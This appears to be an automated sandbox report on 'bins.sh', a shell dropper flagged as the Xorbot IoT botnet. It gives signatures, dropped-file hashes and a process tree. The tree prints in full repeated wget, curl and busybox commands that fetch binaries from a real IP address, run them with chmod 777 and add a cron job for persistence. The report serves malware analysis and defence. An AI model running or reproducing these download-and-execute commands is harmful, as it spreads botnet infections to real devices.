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Analysis

  • max time kernel
    96s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    28/02/2025, 05:06

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    33f9f0f790d74a4b0e288f22161d11f1

  • SHA1

    d294310cfdb18d6bcf63b4c0e60995ca5fe42203

  • SHA256

    f5d540dc9d7d7b789b722ef76b6312d8916f92dc0268ac50f0516cc55c3eb417

  • SHA512

    27a99c4022a5750dfb7b1a80c8ae67e01a4ab6f58d02e6aa1483cda88160c3408556bfd5dc0637112b91444d544f6afc5a69fcaf1d70224c27d952fabc694be6

  • SSDEEP

    192:OkcFWyxt9Fm/DW4N9237IZ3eZzSfN9237QEkcFWyxl9Fm/D4a:OkcFWyxt9Fm/DW4N9237IZ3eZzSfN92S

Malware Config

Signatures

  • Detects Xorbot 7 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (846) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 17 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:730
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:733
      • /usr/bin/wget
        wget http://37.44.238.88/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
        2⤵
        • Writes file to tmp directory
        PID:735
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
        2⤵
        • Writes file to tmp directory
        PID:747
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
        2⤵
        • Writes file to tmp directory
        PID:758
      • /bin/chmod
        chmod 777 XQw82vXECRUV429SDvD0heUyhUITAYsq7p
        2⤵
        • File and Directory Permissions Modification
        PID:760
      • /tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
        ./XQw82vXECRUV429SDvD0heUyhUITAYsq7p
        2⤵
          PID:761
        • /bin/rm
          rm XQw82vXECRUV429SDvD0heUyhUITAYsq7p
          2⤵
            PID:764
          • /usr/bin/wget
            wget http://37.44.238.88/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
            2⤵
            • Writes file to tmp directory
            PID:765
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
            2⤵
            • Writes file to tmp directory
            PID:766
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
            2⤵
            • Writes file to tmp directory
            PID:767
          • /bin/chmod
            chmod 777 PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
            2⤵
            • File and Directory Permissions Modification
            PID:768
          • /tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
            ./PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
            2⤵
              PID:769
            • /bin/rm
              rm PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
              2⤵
                PID:773
              • /usr/bin/wget
                wget http://37.44.238.88/bins/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
                2⤵
                • Writes file to tmp directory
                PID:774
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
                2⤵
                • Writes file to tmp directory
                PID:783
              • /bin/busybox
                /bin/busybox wget http://37.44.238.88/bins/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
                2⤵
                • Writes file to tmp directory
                PID:792
              • /bin/chmod
                chmod 777 jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
                2⤵
                • File and Directory Permissions Modification
                PID:797
              • /tmp/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
                ./jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
                2⤵
                  PID:798
                • /bin/rm
                  rm jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
                  2⤵
                    PID:801
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
                    2⤵
                    • Writes file to tmp directory
                    PID:803
                  • /usr/bin/curl
                    curl -O http://37.44.238.88/bins/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
                    2⤵
                    • Writes file to tmp directory
                    PID:812
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.88/bins/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
                    2⤵
                    • Writes file to tmp directory
                    PID:825
                  • /bin/chmod
                    chmod 777 gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
                    2⤵
                    • File and Directory Permissions Modification
                    PID:826
                  • /tmp/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
                    ./gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
                    2⤵
                    • Renames itself
                    • Reads runtime system information
                    PID:827
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:829
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:830
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:832
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:833
                        • /bin/rm
                          rm gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
                          2⤵
                            PID:835
                          • /usr/bin/wget
                            wget http://37.44.238.88/bins/H11TJvLrCzY1ljoKMMJAJaiTL7lrqZf6Fs
                            2⤵
                              PID:838
                            • /usr/bin/curl
                              curl -O http://37.44.238.88/bins/H11TJvLrCzY1ljoKMMJAJaiTL7lrqZf6Fs
                              2⤵
                                PID:919
                              • /bin/busybox
                                /bin/busybox wget http://37.44.238.88/bins/H11TJvLrCzY1ljoKMMJAJaiTL7lrqZf6Fs
                                2⤵
                                • Writes file to tmp directory
                                PID:928
                              • /bin/chmod
                                chmod 777 H11TJvLrCzY1ljoKMMJAJaiTL7lrqZf6Fs
                                2⤵
                                • File and Directory Permissions Modification
                                PID:929
                              • /tmp/H11TJvLrCzY1ljoKMMJAJaiTL7lrqZf6Fs
                                ./H11TJvLrCzY1ljoKMMJAJaiTL7lrqZf6Fs
                                2⤵
                                  PID:930
                                • /bin/rm
                                  rm H11TJvLrCzY1ljoKMMJAJaiTL7lrqZf6Fs
                                  2⤵
                                    PID:932
                                  • /usr/bin/wget
                                    wget http://37.44.238.88/bins/ZZrFP0yKHuQqewCCsQ04bnxnKpXwoNAspk
                                    2⤵
                                      PID:933
                                    • /usr/bin/curl
                                      curl -O http://37.44.238.88/bins/ZZrFP0yKHuQqewCCsQ04bnxnKpXwoNAspk
                                      2⤵
                                        PID:934
                                      • /bin/busybox
                                        /bin/busybox wget http://37.44.238.88/bins/ZZrFP0yKHuQqewCCsQ04bnxnKpXwoNAspk
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:935
                                      • /bin/chmod
                                        chmod 777 ZZrFP0yKHuQqewCCsQ04bnxnKpXwoNAspk
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:936
                                      • /tmp/ZZrFP0yKHuQqewCCsQ04bnxnKpXwoNAspk
                                        ./ZZrFP0yKHuQqewCCsQ04bnxnKpXwoNAspk
                                        2⤵
                                          PID:937
                                        • /bin/rm
                                          rm ZZrFP0yKHuQqewCCsQ04bnxnKpXwoNAspk
                                          2⤵
                                            PID:939
                                          • /usr/bin/wget
                                            wget http://37.44.238.88/bins/bPfFblMvU5IPjyW4w4BTuX7j81RUhcRxlC
                                            2⤵
                                            • System Network Configuration Discovery
                                            PID:940
                                          • /usr/bin/curl
                                            curl -O http://37.44.238.88/bins/bPfFblMvU5IPjyW4w4BTuX7j81RUhcRxlC
                                            2⤵
                                            • System Network Configuration Discovery
                                            PID:941
                                          • /bin/busybox
                                            /bin/busybox wget http://37.44.238.88/bins/bPfFblMvU5IPjyW4w4BTuX7j81RUhcRxlC
                                            2⤵
                                            • System Network Configuration Discovery
                                            • Writes file to tmp directory
                                            PID:942
                                          • /bin/chmod
                                            chmod 777 bPfFblMvU5IPjyW4w4BTuX7j81RUhcRxlC
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:943
                                          • /tmp/bPfFblMvU5IPjyW4w4BTuX7j81RUhcRxlC
                                            ./bPfFblMvU5IPjyW4w4BTuX7j81RUhcRxlC
                                            2⤵
                                            • System Network Configuration Discovery
                                            PID:944
                                          • /bin/rm
                                            rm bPfFblMvU5IPjyW4w4BTuX7j81RUhcRxlC
                                            2⤵
                                            • System Network Configuration Discovery
                                            PID:946
                                          • /usr/bin/wget
                                            wget http://37.44.238.88/bins/4SGhIMElWoRpFpmBZSEtbNWlVzzulv0vMJ
                                            2⤵
                                              PID:948
                                            • /usr/bin/curl
                                              curl -O http://37.44.238.88/bins/4SGhIMElWoRpFpmBZSEtbNWlVzzulv0vMJ
                                              2⤵
                                                PID:949
                                              • /bin/busybox
                                                /bin/busybox wget http://37.44.238.88/bins/4SGhIMElWoRpFpmBZSEtbNWlVzzulv0vMJ
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:950
                                              • /bin/chmod
                                                chmod 777 4SGhIMElWoRpFpmBZSEtbNWlVzzulv0vMJ
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:952
                                              • /tmp/4SGhIMElWoRpFpmBZSEtbNWlVzzulv0vMJ
                                                ./4SGhIMElWoRpFpmBZSEtbNWlVzzulv0vMJ
                                                2⤵
                                                  PID:954
                                                • /bin/rm
                                                  rm 4SGhIMElWoRpFpmBZSEtbNWlVzzulv0vMJ
                                                  2⤵
                                                    PID:956
                                                  • /usr/bin/wget
                                                    wget http://37.44.238.88/bins/gkop3Y5HPD7Tr2qJeE70jvsclCtBIlM2Ie
                                                    2⤵
                                                      PID:958
                                                    • /usr/bin/curl
                                                      curl -O http://37.44.238.88/bins/gkop3Y5HPD7Tr2qJeE70jvsclCtBIlM2Ie
                                                      2⤵
                                                        PID:960
                                                      • /bin/busybox
                                                        /bin/busybox wget http://37.44.238.88/bins/gkop3Y5HPD7Tr2qJeE70jvsclCtBIlM2Ie
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:963
                                                      • /bin/chmod
                                                        chmod 777 gkop3Y5HPD7Tr2qJeE70jvsclCtBIlM2Ie
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:966
                                                      • /tmp/gkop3Y5HPD7Tr2qJeE70jvsclCtBIlM2Ie
                                                        ./gkop3Y5HPD7Tr2qJeE70jvsclCtBIlM2Ie
                                                        2⤵
                                                          PID:967
                                                        • /bin/rm
                                                          rm gkop3Y5HPD7Tr2qJeE70jvsclCtBIlM2Ie
                                                          2⤵
                                                            PID:969
                                                          • /usr/bin/wget
                                                            wget http://37.44.238.88/bins/E7m7gFBIaJMYsQrN87tUGzmoI4XaQUaalJ
                                                            2⤵
                                                              PID:971
                                                            • /usr/bin/curl
                                                              curl -O http://37.44.238.88/bins/E7m7gFBIaJMYsQrN87tUGzmoI4XaQUaalJ
                                                              2⤵
                                                                PID:973

                                                            Network

                                                            MITRE ATT&CK Enterprise v15

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            • /tmp/4SGhIMElWoRpFpmBZSEtbNWlVzzulv0vMJ

                                                              Filesize

                                                              98KB

                                                              MD5

                                                              5141342d0df8699fa32a6b066a0c592e

                                                              SHA1

                                                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                              SHA256

                                                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                              SHA512

                                                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                            • /tmp/H11TJvLrCzY1ljoKMMJAJaiTL7lrqZf6Fs

                                                              Filesize

                                                              111KB

                                                              MD5

                                                              701e7a55a4f3650f5feee92a9860e5fc

                                                              SHA1

                                                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                              SHA256

                                                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                              SHA512

                                                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                            • /tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc

                                                              Filesize

                                                              177KB

                                                              MD5

                                                              786d75a158fe731feca3880f436082c0

                                                              SHA1

                                                              79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                              SHA256

                                                              5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                              SHA512

                                                              7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                            • /tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p

                                                              Filesize

                                                              112KB

                                                              MD5

                                                              05d7857dcead18bbd86d2935f591873c

                                                              SHA1

                                                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                              SHA256

                                                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                              SHA512

                                                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                            • /tmp/ZZrFP0yKHuQqewCCsQ04bnxnKpXwoNAspk

                                                              Filesize

                                                              111KB

                                                              MD5

                                                              ca897a38f23ec23521ce0b1b83f8422d

                                                              SHA1

                                                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                              SHA256

                                                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                              SHA512

                                                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                            • /tmp/bPfFblMvU5IPjyW4w4BTuX7j81RUhcRxlC

                                                              Filesize

                                                              107KB

                                                              MD5

                                                              eb9c3a0de91fcf16ba17cb24608df68c

                                                              SHA1

                                                              09d95a7d70d5e115d103be51edff7c498d272fac

                                                              SHA256

                                                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                              SHA512

                                                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                            • /tmp/gkop3Y5HPD7Tr2qJeE70jvsclCtBIlM2Ie

                                                              Filesize

                                                              141KB

                                                              MD5

                                                              3ca8decdb1e52c423c521bfff02ac200

                                                              SHA1

                                                              8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                              SHA256

                                                              dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                              SHA512

                                                              b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                            • /tmp/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN

                                                              Filesize

                                                              151KB

                                                              MD5

                                                              3c90d5820bddcf7c5d1bd21dfa49d958

                                                              SHA1

                                                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                              SHA256

                                                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                              SHA512

                                                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                            • /tmp/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT

                                                              Filesize

                                                              127KB

                                                              MD5

                                                              89077b7bd4bcafca7713be43635c4862

                                                              SHA1

                                                              fc02edb8fba29ea8ee99e6157ef8560334530052

                                                              SHA256

                                                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                              SHA512

                                                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                            • /var/spool/cron/crontabs/tmp.uvZwwL

                                                              Filesize

                                                              210B

                                                              MD5

                                                              a8a3052eb8b6cb5b555e780bdc4a9478

                                                              SHA1

                                                              7e79ccd10d6f19bd05737a8d27ef11a76b023d9a

                                                              SHA256

                                                              b89906e455e632d7d76b3100f6c5db34025b8a82e2b7e600a27f62a07d25755e

                                                              SHA512

                                                              bb9e590c8d31878c949adf19bc32ecfd74fbcdb3e5d51f61278c962e79a74b93538fec65f8cffd8f8fd5cb7cb3341ef8430ac1724aa98cfc38c04bd8718d26c6